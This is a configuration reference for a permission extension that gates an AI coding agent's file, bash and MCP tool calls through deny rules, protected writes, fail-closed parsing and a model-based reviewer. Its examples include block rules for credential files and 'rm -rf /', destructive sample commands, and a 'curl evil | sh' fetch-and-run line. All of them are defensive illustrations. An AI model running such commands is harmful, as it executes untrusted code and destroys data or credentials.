mirror of
https://bitbucket.org/siakitem/my-pi.git
synced 2026-10-26 18:55:22 +00:00
配置统一:权限策略、硬防御、Tool Search、提示词封面以及新迁入的 RTK、pi-compaction、pi-worktree、pi-hermes-memory 配置全部由扩展 直接读取已安装组合包内的 config/,pi install / pi update 即完成部署; 删除 rebuild-bundle-config.mjs 与 bundle-manifest.json,my-pi/ 只保留 日志与缓存。update.sh 成功升级后将默认 git 来源的已安装副本 reset 回发布版本。AGENTS.md 新增「组合包配置原则」。 脚本整合:search_config.sh / ssh_config.sh 合并为 configure.sh search|ssh;install.sh / update.sh 共享函数抽到 scripts/lib.sh,远程 安装器改为先下载到临时文件再执行,下载失败可被检测。 权限:hard-guards 新增 protectedWrites,写入 Pi 凭据/设置、已安装 组合包与扩展目录、pi-ssh 凭据库时一律人工确认(跳过 AutoReview、 yolo 与 Session grant,无 UI 时拒绝);放行 ls、LSP 查询、ctx 只读、 web_search、Chrome 只读与 git 只读命令,skill_manage 改为 ask。 Generated with [Devin](https://devin.ai) Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com>
919 lines
50 KiB
Markdown
919 lines
50 KiB
Markdown
# Configuration Reference
|
||
|
||
## Config File Locations
|
||
|
||
Pi Permission System reads two JSONC files from the installed bundle's `config/` directory (the single source of truth; `pi update` refreshes them with the bundle):
|
||
|
||
| Purpose | Scope | Path |
|
||
| ------- | ----- | ---- |
|
||
| Ordinary policy + runtime | Global only | `config/pi-permission-policy.jsonc` |
|
||
| Hard guards | Global only | `config/pi-permission-hard-guards.jsonc` |
|
||
|
||
Project-level `policy.jsonc` files are not loaded. Project agent Markdown may still provide per-agent restrictions; it is not a second ordinary policy file.
|
||
|
||
Hard guards are evaluated first. Their matching `deny` decisions cannot be overridden by ordinary policy, session approvals, per-agent rules, or AutoReview. The same file's `protectedWrites` list marks files whose *writes* always reach a human prompt — see [Protected writes](#protected-writes).
|
||
|
||
Tool Search is the only extension that controls Pi's active tool list. Permission System never hides, activates, or replaces tools; it only evaluates a tool when Pi calls it.
|
||
|
||
## Decision and Pattern Precedence
|
||
|
||
For ordinary policy, the decision flow is:
|
||
|
||
1. matching Hard Guard `deny`;
|
||
2. session approval, when one exists;
|
||
3. per-agent restriction, when an agent is active;
|
||
4. the global ordinary policy;
|
||
5. built-in fallback `ask`.
|
||
|
||
Within one pattern map, the most specific matching pattern wins even if `"*"` appears later. Specificity is compared in this order:
|
||
|
||
1. exact match before wildcard match;
|
||
2. more literal characters;
|
||
3. fewer `*` wildcards;
|
||
4. longer pattern;
|
||
5. later declaration only when all earlier measures tie.
|
||
|
||
This makes a broad `"*": "allow"` a fallback rather than an ordering trick. For example, `"**/.env": "deny"` still wins for `.env` paths.
|
||
|
||
There is no separate `external_directory` decision. A path outside the current working directory is evaluated by the same configured tool, `path`, and Bash rules as any other path.
|
||
|
||
## Protected writes
|
||
|
||
`protectedWrites` in the hard-guard file lists files and subtrees whose **writes** must always be confirmed by a human:
|
||
|
||
```jsonc
|
||
{
|
||
"version": 1,
|
||
"permission": { "bash": { "rm -rf /": "deny" } },
|
||
"protectedWrites": [
|
||
{ "pattern": "{agentDir}/auth.json", "label": "Pi credentials" },
|
||
{ "pattern": "{configHome}/my-pi/**", "label": "pi-ssh credential store" }
|
||
]
|
||
}
|
||
```
|
||
|
||
Each entry is `{ "pattern": string, "label": string }`. `pattern` uses the same wildcard syntax as the `path` surface (`*` crosses `/`, so a trailing `/**` covers the whole subtree) and is matched against both the lexical and canonical (symlink-resolved) forms of a write target. `{agentDir}` expands to the Pi agent directory (`PI_CODING_AGENT_DIR`), `{configHome}` to `$XDG_CONFIG_HOME` or `~/.config`, and a leading `~/` to the home directory. `label` is the name shown in the prompt and review log.
|
||
|
||
Counts as a write: a `write`/`edit` tool call's `input.path`, and a local `bash` command's redirect-out destinations and non-read-only program arguments — including a `bash -c`/`eval`-style opaque payload that textually contains a protected path, an unparseable command, and a relative write after `cd` into a protected directory. Reads of protected paths are unaffected: `cat` and friends are not writes, and neither is a redirect-in (`<`). Aliased shell tools (`shellTools`, e.g. `ssh_bash`) address remote filesystems and are never matched.
|
||
|
||
A protected write produces a human-only `ask`: it skips the session-approval and yolo fast paths, composes with zero `authorizerChain` links (AutoReview is never consulted), and the dialog offers no "for this session" option. With no local confirmation UI — a headless session or a subagent relay terminal — the write is denied without prompting. A malformed `protectedWrites` entry makes the whole hard-guard file invalid and follows its fail-closed semantics.
|
||
|
||
## Full Example
|
||
|
||
```jsonc
|
||
{
|
||
"$schema": "./schemas/permissions.schema.json",
|
||
"authorizerChain": ["auto-review"],
|
||
"permission": {
|
||
"*": "allow",
|
||
"path": {
|
||
"**/.env": "deny",
|
||
"**/.env.*": "deny",
|
||
"~/.ssh/**": "deny",
|
||
"*": "allow"
|
||
},
|
||
"bash": {
|
||
"git status*": "allow",
|
||
"git diff*": "allow",
|
||
"*": "ask"
|
||
}
|
||
},
|
||
"autoReview": {
|
||
"enabled": true
|
||
}
|
||
}
|
||
```
|
||
|
||
> **Note:** Trailing commas are not supported. If parsing fails, ordinary policy fails safely to `ask`.
|
||
## Built-in AutoReview
|
||
|
||
`autoReview.enabled` controls the built-in authorizer named `auto-review`. It only receives requests that ordinary policy resolved to `ask`; it cannot bypass a hard deny. Add `"auto-review"` to `authorizerChain` to make it the primary case-by-case authority. An `allow` verdict is final for that request, and so is a `deny`. `defer` continues to the next authorizer and ultimately the human permission dialog.
|
||
|
||
### The reviewer is a conversational model, deciding through tool calls
|
||
|
||
AutoReview makes one independent model call per ask: a fixed review system prompt, a single user message containing the rendered transcript and a bounded JSON description of the planned action, and exactly two tools — `approve` and `reject`. The verdict is whichever of those tools the model calls, and the call must carry a non-empty `reason`. Everything else is a failure, not a verdict:
|
||
|
||
- a reply with **no tool call at all** — even one whose text happens to be valid JSON — counts as *no verdict*, because the verdict protocol is the tool call, not prose
|
||
- **two or more tool calls**, an unknown tool name, or a missing `reason` count as an *invalid response*
|
||
- a truncated response (`length` stop reason) counts as *truncated*
|
||
|
||
None of those is retried: the same request produced them. Provider errors are retried while attempts and the timeout budget remain.
|
||
|
||
### A rejection defers — it never denies
|
||
|
||
`approve` maps to `allow`. `reject` maps to `defer`, and the model's `reason` is shown in the human permission prompt, labelled as model-generated. Every failure — timeout, provider error, malformed reply, missing model — also maps to `defer` with a fixed system-authored note. A model refusal or a broken review therefore always costs a human glance, never a silent denial. Pressing Esc during a review aborts it and denies the operation outright, so no human dialog pops up after the user already said no.
|
||
|
||
An `allow` is cached for the rest of the current user message: the same action asked again under the same trusted conversation point skips the model call. A new user message invalidates the cache, and rejects are never cached.
|
||
|
||
### Context budgets
|
||
|
||
The reviewer sees a bounded rendering of the session transcript: trusted user turns and structured user-interaction answers are kept preferentially, and the most recent untrusted entries fill the remaining budget under `maxUntrustedEntries`. Token counts are estimated conservatively — ASCII counts a quarter token per character, every non-ASCII codepoint a full token — because the `length / 4` heuristic under-counts CJK by roughly 2–4x. When the companion `pi-compaction` extension is loaded, already-summarized tool results are substituted with their summaries when strictly shorter, so the budget buys more context.
|
||
|
||
| Key | Default | Ceiling for |
|
||
| --- | --- | --- |
|
||
| `autoReview.transcript.messageTokens` | `10000` | message-kind transcript entries |
|
||
| `autoReview.transcript.toolTokens` | `10000` | tool-result transcript entries |
|
||
| `autoReview.transcript.maxUntrustedEntries` | `40` | untrusted entries retained |
|
||
|
||
Any single entry is additionally capped at a fixed 2000 estimated tokens for messages and 1000 for tool results, regardless of the budgets above.
|
||
|
||
### Configuration
|
||
|
||
By default AutoReview follows the session's **current** model — the same model the operator is chatting with — so a mid-session model switch applies to the very next ask. Set `autoReview.provider` and `autoReview.model` **together** to pin a fixed reviewer; set neither to follow the session. Setting exactly one is a misconfiguration: the reviewer warns once at `session_start` and defers every ask.
|
||
|
||
```jsonc
|
||
{
|
||
"authorizerChain": ["auto-review"],
|
||
"autoReview": {
|
||
"enabled": true
|
||
}
|
||
}
|
||
```
|
||
|
||
| Key | Default | Description |
|
||
| --- | --- | --- |
|
||
| `autoReview.enabled` | `true` | Registers the `auto-review` authorizer. It decides nothing until named in `authorizerChain`. |
|
||
| `autoReview.provider` | — | Provider id of a pinned review model. Must be set together with `autoReview.model`; leave both unset to follow the session's current model. |
|
||
| `autoReview.model` | — | Model id of a pinned review model. Must be set together with `autoReview.provider`. |
|
||
| `autoReview.reasoning` | `"low"` | Reasoning level for reasoning-capable review models. `off` disables it; non-reasoning models always receive no reasoning option. |
|
||
| `autoReview.timeoutMs` | `30000` | Total budget for one review call, across all attempts (max 300000). |
|
||
| `autoReview.maxAttempts` | `2` | Attempts including the first (1–5). A malformed or truncated response is not retried: the same request produced it. |
|
||
| `autoReview.maxOutputTokens` | `4000` | Output budget for a single review call (256–32000). |
|
||
| `autoReview.transcript.*` | see above | Transcript rendering budgets. |
|
||
| `annotators` | — | **Deprecated and ignored.** The annotator mechanism was removed. Still accepted so a deployed config keeps loading; remove it. |
|
||
|
||
When `auto-review` is named in `authorizerChain` and a pinned `provider`/`model` pair cannot be resolved, the extension notifies once at `session_start` that automatic review cannot run. Follow-the-session-model mode warns about nothing: absence of a session model is the session's business.
|
||
|
||
Each review outcome is written to the permission review log — the resolved model, the outcome, the model's reason or the failure category, attempts, usage, and transcript statistics. The extension keeps no aggregate history, runs no background analysis agent, and never edits either policy file.
|
||
|
||
## Runtime Knobs
|
||
|
||
| Key | Default | Description |
|
||
| --------------------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| `debugLog` | `false` | Enables verbose diagnostic logging to `logs/pi-permission-system-debug.jsonl` |
|
||
| `permissionReviewLog` | `true` | Enables the permission request/denial review log at `logs/pi-permission-system-permission-review.jsonl`. Records bash command strings unredacted — see [Log file sensitivity](#log-file-sensitivity) |
|
||
| `yoloMode` | `false` | Auto-approves `ask` results instead of prompting when yolo mode is enabled |
|
||
| `doublePressToConfirm` | `true` | Requires a confirming second press of a decision hotkey in the inline TUI dialog (see below). TUI sessions only; set to `false` for single-press. |
|
||
| `forwardingTimeoutMs` | `600000` | How long a subagent waits for the parent session to answer a forwarded permission request, in milliseconds. A child whose parent is not draining its inbox gives up in ~2 s regardless, whether that parent runs in this process or its own. |
|
||
| `promptMaxRows` | `24` | Max rows a permission prompt renders before eliding its evidence. The request's own facts are never elided by this budget; `Ctrl+O` expands the prompt to the complete request. |
|
||
| `promptFieldMaxWidth` | `400` | Max characters of any one field shown in a permission prompt. This is what bounds a single long field (a here-string command, say) that would otherwise fill the prompt through wrapping. |
|
||
| `reviewLogFieldMaxWidth` | `1000` | Max characters of any one value written to the review log. A longer value is stored shortened, marked with an ellipsis. Raise it to keep longer values; this is a length bound, not redaction. |
|
||
| `toolInputPreviewMaxLength` | — | **Deprecated and ignored.** Superseded by `promptMaxRows` / `promptFieldMaxWidth`. Still accepted so an existing config is not rejected, but the value no longer applies; setting it logs a warning. |
|
||
| `toolTextSummaryMaxLength` | — | **Deprecated and ignored.** Superseded by `promptMaxRows` / `promptFieldMaxWidth`. Still accepted so an existing config is not rejected, but the value no longer applies; setting it logs a warning. |
|
||
| `authorizerChain` | `[]` | Ordered names of registered live-authority chain links to consult before the terminal authorizer (see [Authorizer chain](#authorizer-chain--case-by-case-decision-links)). |
|
||
|
||
Both logs write to `~/.pi/agent/my-pi/permission-system/logs/`.
|
||
No debug output is printed to the terminal.
|
||
|
||
### Inline permission dialog (TUI)
|
||
|
||
In an interactive **TUI** session, an `ask` decision opens an inline keybind dialog with one-key shortcuts:
|
||
|
||
| Key | Action |
|
||
| --- | ----------------------------------------------------------------- |
|
||
| `y` | Approve once |
|
||
| `s` | Approve for this session |
|
||
| `n` | Deny |
|
||
| `r` | Deny with a reason (opens an inline editor; a reason is required) |
|
||
|
||
Arrow keys / `j`/`k` move the highlight, `enter` confirms the highlighted option, and `esc` denies.
|
||
With `doublePressToConfirm` enabled (the default), a letter hotkey **arms** its action and shows a `Press y again to approve.` hint; press the same key again to commit.
|
||
Set `doublePressToConfirm` to `false` to commit on the first press.
|
||
|
||
Pi's tool-expansion binding (`app.tools.expand`, `Ctrl+O` by default) stays live while the dialog is open.
|
||
It expands both the prompt itself — to the complete request, unbounded by `promptMaxRows` and `promptFieldMaxWidth` — and the host's pending tool call, so one keystroke shows you everything before you decide.
|
||
It only toggles the display — it never resolves, commits, or arms the pending decision.
|
||
While you are typing a denial reason it is not intercepted, so a rebound printable key still reaches the reason editor.
|
||
|
||
The reason editor is Pi's own line editor, so it behaves like the chat input: pasting works, as do cursor movement, word and line deletion, the kill ring, and undo.
|
||
The reason is a single line — a pasted line break becomes a space, and a long reason scrolls sideways rather than growing the dialog.
|
||
`enter` submits it, and `esc` (or `Ctrl+C`) returns to the decision list without denying.
|
||
|
||
### What a prompt shows
|
||
|
||
The prompt renders one fact per line, with the requesting agent (and, for a forwarded subagent ask, its session), the tool, the gate surface, the matched rule, the decision-relevant value, and — for a wrapper such as `xargs` — the command that will actually run.
|
||
Those facts are always present: a budget may shorten a long one, never drop it.
|
||
A fact the line above already states is not repeated — a bash ask shows `tool : bash` without a second `surface : bash` line, and a path ask's `path :` line names the surface itself.
|
||
|
||
Everything else is evidence — the full command a gated sub-command came from, the working directory a path escaped, the tool-input preview — and it is what gives way when the render does not fit.
|
||
A shortened field or a dropped entry is marked with an ellipsis, and `Ctrl+O` shows the complete request.
|
||
Raise `promptMaxRows` to see more evidence inline; raise `promptFieldMaxWidth` to see more of a long command.
|
||
|
||
Non-TUI contexts render the same facts under the same budget, without the colour or the expansion.
|
||
|
||
Non-TUI contexts (RPC / frontend-driven sessions) keep the single-select prompt and are unaffected by `doublePressToConfirm`.
|
||
|
||
### `shellTools` — gating aliased shell tools
|
||
|
||
The native `bash` tool goes through the full bash enforcement stack: command decomposition, wrapper flooring, path and external-directory token gates, and `bash:` rules.
|
||
Some extensions replace `bash` with a differently-named tool — for example [`@howaboua/pi-codex-conversion`](https://github.com/IgorWarzocha/howaboua-pi-stuff) registers `exec_command`, which carries the shell command in a `cmd` argument and an optional working directory in `workdir`.
|
||
Without a hint, the permission system cannot tell that such a tool is really a shell, so it gates it as a generic extension tool and the bash rules never apply.
|
||
|
||
`shellTools` records that hint, and an aliased tool is then gated at full parity with native `bash` — command decomposition, wrapper flooring, path and external-directory token gates, and `bash:` rules — with the invoked tool name preserved in the review log.
|
||
If the extension registers a custom input formatter for the aliased tool, its preview is also carried as authorization evidence and persisted in the permission review context. This lets wrappers disclose execution context that is not part of the command itself, such as an SSH target, container, or remote working directory.
|
||
Each key is a tool name; its value maps the tool's input arguments (the keys of the tool call's `arguments` object):
|
||
|
||
```jsonc
|
||
{
|
||
"shellTools": {
|
||
"exec_command": { "commandArgument": "cmd", "workdirArgument": "workdir" },
|
||
"ssh_bash": { "commandArgument": "command", "decisionFloor": "ask" }
|
||
}
|
||
}
|
||
```
|
||
|
||
| Field | Required | Description |
|
||
| ----------------- | -------- | ------------------------------------------------------------------------- |
|
||
| `commandArgument` | yes | The tool's input argument holding the shell command string (e.g. `cmd`). |
|
||
| `workdirArgument` | no | The tool's input argument holding the working directory (e.g. `workdir`). |
|
||
| `decisionFloor` | no | `"ask"` raises Bash `allow` to `ask`; existing `ask`/`deny` are preserved. |
|
||
|
||
Use `decisionFloor: "ask"` when the aliased shell crosses an extra trust boundary, such as SSH or container execution. With yolo mode disabled, every otherwise-allowed invocation then reaches the configured authorizer chain unless deterministic Bash or path policy already denies it. Only `"ask"` is accepted; the setting cannot weaken a hard deny.
|
||
|
||
When `workdirArgument` is set, the tool's working directory is the base used to resolve relative command paths. It is evaluated through configured Bash and `path` rules; there is no separate outside-directory decision.
|
||
|
||
`shellTools` comes from the single global policy. A configured `decisionFloor: "ask"` cannot be weakened by another policy scope.
|
||
|
||
`shellTools` only ever *tightens* enforcement and is inert when the named tool is not registered in the current session.
|
||
Opting a project out of a shell-aliasing extension is a package-disable concern, not a `shellTools` edit.
|
||
|
||
### Authorizer chain — case-by-case decision links
|
||
|
||
The deterministic policy above decides `allow` / `deny` / `ask` for every request.
|
||
When a request lands on `ask`, the **authorizer chain** decides who answers it.
|
||
By default that is you (an interactive prompt), the subagent-forwarding path, or a headless deny.
|
||
A downstream extension can register a **link** — a reviewer that sees the `ask` and returns `allow`, `deny` (with an optional teaching reason), or `defer` to the next link — and the chain ends at the default terminal that always decides.
|
||
The canonical use case is a light model judge that reviews asks case by case (e.g. auto-denying an errant typo-path with a corrective reason).
|
||
|
||
`authorizerChain` is the ordered list of link names to consult, ahead of the terminal:
|
||
|
||
```jsonc
|
||
{
|
||
"authorizerChain": ["model-judge"]
|
||
}
|
||
```
|
||
|
||
Three invariants govern the chain:
|
||
|
||
1. **Config order wins, never registration order.**
|
||
The order in `authorizerChain` — not the order extensions happen to register in — fixes the security-relevant chain order.
|
||
2. **A missing link is skipped fail-safe.**
|
||
A name with no registered link is skipped with a logged warning; the `ask` still reaches the terminal.
|
||
Absence of a judge means *more* prompting, never less.
|
||
3. **Registration alone grants no authority.**
|
||
Installing a judge extension gives it nothing; a link decides nothing until you name it here (opt-in activation).
|
||
|
||
A named authorizer may return a final `allow` or `deny` for any request that ordinary policy resolved to `ask`, including `path`. There is no additional surface-based delegation cap. `defer` advances to the next configured authorizer and ultimately the human terminal.
|
||
|
||
The one exception is a [protected write](#protected-writes): its `ask` is human-only and never reaches the chain — `authorizerChain` links are not consulted, and a terminal that is not the local user prompt denies without prompting.
|
||
|
||
Extension authors register a link from `permissions:ready` via `getPermissionsService().registerAuthorizer(name, authorize)`. For integration details, see [Cross-Extension API](cross-extension-api.md).
|
||
|
||
---
|
||
|
||
## Policy Reference
|
||
|
||
### `permission["*"]` — Universal Fallback
|
||
|
||
The `"*"` key sets the action used when no surface-specific rule matches:
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"*": "ask"
|
||
}
|
||
}
|
||
```
|
||
|
||
Omitting `"*"` defaults to `"ask"` (least privilege).
|
||
|
||
### Tool Surfaces
|
||
|
||
Any registered tool name can be a surface key.
|
||
A string value is a catch-all for that surface.
|
||
|
||
| Surface example | Description |
|
||
| --------------------------------------------- | ----------------------------------- |
|
||
| `read`, `write`, `edit`, `grep`, `find`, `ls` | Canonical Pi built-in file tools |
|
||
| `bash` | Shell command execution |
|
||
| `mcp` | Registered MCP proxy tool |
|
||
| `task` | Delegation tool |
|
||
| `third_party_tool` | Any other registered extension tool |
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"read": "allow",
|
||
"write": "deny",
|
||
"third_party_tool": "ask"
|
||
}
|
||
}
|
||
```
|
||
|
||
Unknown or absent tools are not required in the config. Pi and Tool Search own tool registration and activation; Permission System does not alter the active tool list.
|
||
|
||
#### Path Patterns for File Tools
|
||
|
||
For path-bearing tools (`read`, `write`, `edit`, `find`, `grep`, `ls`), an object value maps file-path patterns to actions.
|
||
Patterns are matched against `input.path`; the most specific matching pattern wins, using the precedence described at the top of this document.
|
||
When Pi's current working directory is known, a relative path input is matched with both its original relative form and its cwd-normalized absolute form, so an absolute allowlist rule and a legacy relative rule can both apply to the same file.
|
||
Per-tool path patterns also match the canonical (symlink-resolved) form, at parity with the `path` surface, so a per-tool deny on a sensitive spelling cannot be evaded through a symlink alias (see Symlinked paths below).
|
||
`*` matches zero or more of any character **including** path separators — `src/*` matches both `src/foo.ts` and `src/deep/nested/foo.ts`.
|
||
There is no single-segment vs. multi-segment distinction; `**` is not a supported token and behaves identically to `*`.
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"read": {
|
||
"*": "allow",
|
||
"*.env": "deny",
|
||
"*.env.*": "deny",
|
||
"*.env.example": "allow"
|
||
},
|
||
"write": {
|
||
"*": "deny",
|
||
"src/*": "allow",
|
||
"tests/*": "allow"
|
||
},
|
||
"edit": {
|
||
"*": "ask",
|
||
"*.lock": "deny"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
String shorthand is still supported and behaves identically — `"read": "allow"` is equivalent to `"read": { "*": "allow" }`, which permits reads of any path.
|
||
|
||
Tool injection at agent start is unaffected: a config like `"read": { "*": "allow", "*.env": "deny" }` still exposes the `read` tool to the agent.
|
||
Only specific paths are restricted at call time.
|
||
|
||
### `bash` Surface
|
||
|
||
Command patterns use wildcards matched against each top-level command in the chain:
|
||
|
||
- `*` matches zero or more of any character (including `/` and other separators — there is no single-segment vs. multi-segment distinction; `**` is not a supported token and is equivalent to `*`).
|
||
- `?` matches exactly one character.
|
||
|
||
**Last matching rule wins** within a single command — put broad catch-alls first, specific overrides after.
|
||
|
||
A bash invocation may be a chain of commands joined by `&&`, `||`, `;`, `|`, `&`, or newlines.
|
||
Each top-level command is evaluated independently against the patterns, and the most restrictive result wins (`deny` > `ask` > `allow`).
|
||
So `cd /repo && npm install x` evaluates both `cd /repo` and `npm install x`; if `npm *` is denied, the whole invocation is denied even when `cd *` is allowed.
|
||
|
||
Quotes are respected (an operator inside `'…'` or `"…"` does not split the command).
|
||
Commands nested inside command substitution (`$(…)`, backticks), process substitution (`<(…)`/`>(…)`), and subshells (`( … )`) are evaluated against the bash patterns too, in addition to their enclosing command — since those inner commands really execute.
|
||
So `echo $(rm -rf foo)` evaluates both `echo $(rm -rf foo)` and the inner `rm -rf foo`; if `rm *` is denied, the whole invocation is denied.
|
||
The deny reason and the approval prompt note the nested origin (e.g. `inside command substitution`).
|
||
|
||
This holds wherever the substitution appears, not only in argument position.
|
||
A substitution in a **redirect target** (`echo hi > $(rm *.txt)`, `cat < <(rm c)`, ``echo hi 2> `rm d` ``) and one in an **interpolating heredoc body** (`cat <<EOF` with `$(rm e)` in the body) are evaluated the same way.
|
||
A quoted heredoc delimiter (`<<'EOF'` or `<<"EOF"`) does not interpolate, so its body is literal text and nothing in it is evaluated as a command.
|
||
The enclosing command is still matched without its redirect, so a rule like `npm install` keeps matching `npm install > out.txt`.
|
||
Control-flow bodies (`if`/`while`/`for`/`case`) and `{ … }` brace groups are not descended into; their contents are matched as part of the enclosing statement's text.
|
||
|
||
A leading environment-variable assignment prefix is stripped before matching, so the rule gates the underlying command rather than the prefix.
|
||
So `AWS_PROFILE=prod aws ec2 …` is matched as `aws ec2 …` — a `aws *` rule applies even though the invocation begins with `AWS_PROFILE=`.
|
||
Prefixes like `PGPASSWORD=` and `KUBECONFIG=` are handled the same way.
|
||
|
||
A pattern ending with `*` (space + wildcard) also matches the bare command without arguments.
|
||
For example, `"git *"` matches both `"git status"` and bare `"git"`.
|
||
Place a more specific pattern *after* it to carve out exceptions — the later matching rule wins.
|
||
|
||
> **Patterns match individual commands, not whole chains.**
|
||
> A pattern that embeds a chain operator (e.g. `"cd * && npm *"`) will not match, because each command in the chain is evaluated separately.
|
||
> Write one pattern per command instead.
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"bash": {
|
||
"*": "ask",
|
||
"git *": "ask",
|
||
"git status": "allow",
|
||
"git diff": "allow",
|
||
"rm -rf *": "deny",
|
||
"npm *": { "action": "deny", "reason": "Use pnpm instead" }
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
String shorthand sets a catch-all for all bash commands:
|
||
|
||
```jsonc
|
||
{
|
||
"permission": { "bash": "allow" }
|
||
}
|
||
```
|
||
|
||
#### Deny with a Custom Reason
|
||
|
||
In any pattern map, a `deny` value may be written as an object with an optional `reason` instead of the plain `"deny"` string:
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"bash": {
|
||
"npm *": { "action": "deny", "reason": "Use pnpm instead" }
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
The reason is appended to the block message shown to the agent, so it learns why the command was denied and what to do instead:
|
||
|
||
```text
|
||
[pi-permission-system] is not permitted to run 'bash' command 'npm install' (matched 'npm *'). Reason: Use pnpm instead.
|
||
```
|
||
|
||
The object form is only valid at the pattern-value level (inside a pattern map) and only for `deny` — `action` must be `"deny"`, and `reason` must be a string (a non-string reason is ignored).
|
||
A bare `"deny"` string is unchanged and carries no reason.
|
||
|
||
#### Fail-closed behavior
|
||
|
||
The bash gate fails closed: when in doubt it blocks or prompts, never silently allows.
|
||
|
||
- If the permission gate throws an internal error (for example a transient tree-sitter parser-init failure), the tool call is **blocked** rather than passed ungated, and a `gate_error` entry is written to the review log naming the failure.
|
||
- A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
|
||
A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
|
||
An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
|
||
- An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
|
||
An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
|
||
So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
|
||
- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
|
||
So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
|
||
As with the opaque floor, no rule can auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
|
||
|
||
Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
|
||
An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
|
||
|
||
Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
|
||
A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
|
||
To gate bash commands, add `"bash": { "*": "ask" }` (or `"deny"`).
|
||
To deliberately opt into permissive bash, set `"bash": { "*": "allow" }` explicitly — that suppresses the warning.
|
||
|
||
### `mcp` Surface
|
||
|
||
The `mcp` surface applies to a unified proxy tool named `mcp` (e.g. `pi-mcp-adapter`) whose input carries `tool`/`server`/`connect`/`describe`/`search` fields. Pi's built-in MCP (0.99+) instead exposes each server tool as a first-class `mcp__<server>__<tool>` tool — gate those with ordinary tool-name rules such as `"mcp__myServer__*": "ask"`, not this surface.
|
||
|
||
MCP permissions match against derived targets from tool input:
|
||
|
||
| Target type | Examples |
|
||
| ----------------- | --------------------------------------------------------------------- |
|
||
| Baseline ops | `mcp_status`, `mcp_list`, `mcp_search`, `mcp_describe`, `mcp_connect` |
|
||
| Server name | `myServer` |
|
||
| Server/tool combo | `myServer:search`, `myServer_search` |
|
||
| Generic | `mcp_call` |
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"mcp": {
|
||
"*": "ask",
|
||
"mcp_status": "allow",
|
||
"mcp_list": "allow",
|
||
"myServer:*": "ask",
|
||
"dangerousServer": "deny"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
> **Note:** Baseline discovery targets auto-allow when any explicit `mcp: allow` rule exists.
|
||
|
||
String shorthand grants broad MCP access — useful for per-agent overrides:
|
||
|
||
```yaml
|
||
# ~/.pi/agent/agents/researcher.md (respects PI_CODING_AGENT_DIR)
|
||
---
|
||
name: researcher
|
||
permission:
|
||
mcp: allow
|
||
---
|
||
```
|
||
|
||
### `skill` Surface
|
||
|
||
Skill name patterns use `*` and `?` wildcards (note: surface is `skill`, not `skills`):
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"skill": {
|
||
"*": "ask",
|
||
"dangerous-*": "deny",
|
||
"librarian": "allow"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
### `path` Surface
|
||
|
||
Cross-cutting gate that applies to **all** file access — built-in Pi tools (`read`, `write`, `edit`, `find`, `grep`, `ls`), bash commands, `mcp` proxy calls (via `input.arguments.path`), and extension tools (via `input.path` or a registered access extractor).
|
||
A `path` deny cannot be overridden by a per-tool allow.
|
||
Extension and MCP path tools are gated by default — no registration needed — so a `path` deny protects sensitive files from every path-aware tool, not just the built-in six.
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"path": {
|
||
"*": "allow",
|
||
"*.env": "deny",
|
||
"*.env.*": "deny",
|
||
"*.env.example": "allow",
|
||
"~/.ssh/*": "deny"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
The path gate runs before the external-directory and tool gates.
|
||
If it denies, the command is blocked without reaching subsequent gates — no wasted prompts.
|
||
|
||
Path patterns match both the path **as the agent references it** and its canonical (symlink-resolved) form, so a deny on a sensitive spelling cannot be evaded through a symlink alias (see Symlinked paths below).
|
||
|
||
For bash commands, the extension extracts path-candidate tokens from the command (dot-files like `.env`, relative paths like `src/foo.ts`, and absolute paths) and evaluates each against the path rules.
|
||
The most restrictive result across all tokens determines the outcome.
|
||
When the current working directory is known, relative bash tokens are matched with cwd-normalized policy values, resolved against the effective directory after literal `cd` commands; a token after a non-literal `cd` (e.g. `cd "$DIR"`) stays conservative and matches only its literal form.
|
||
|
||
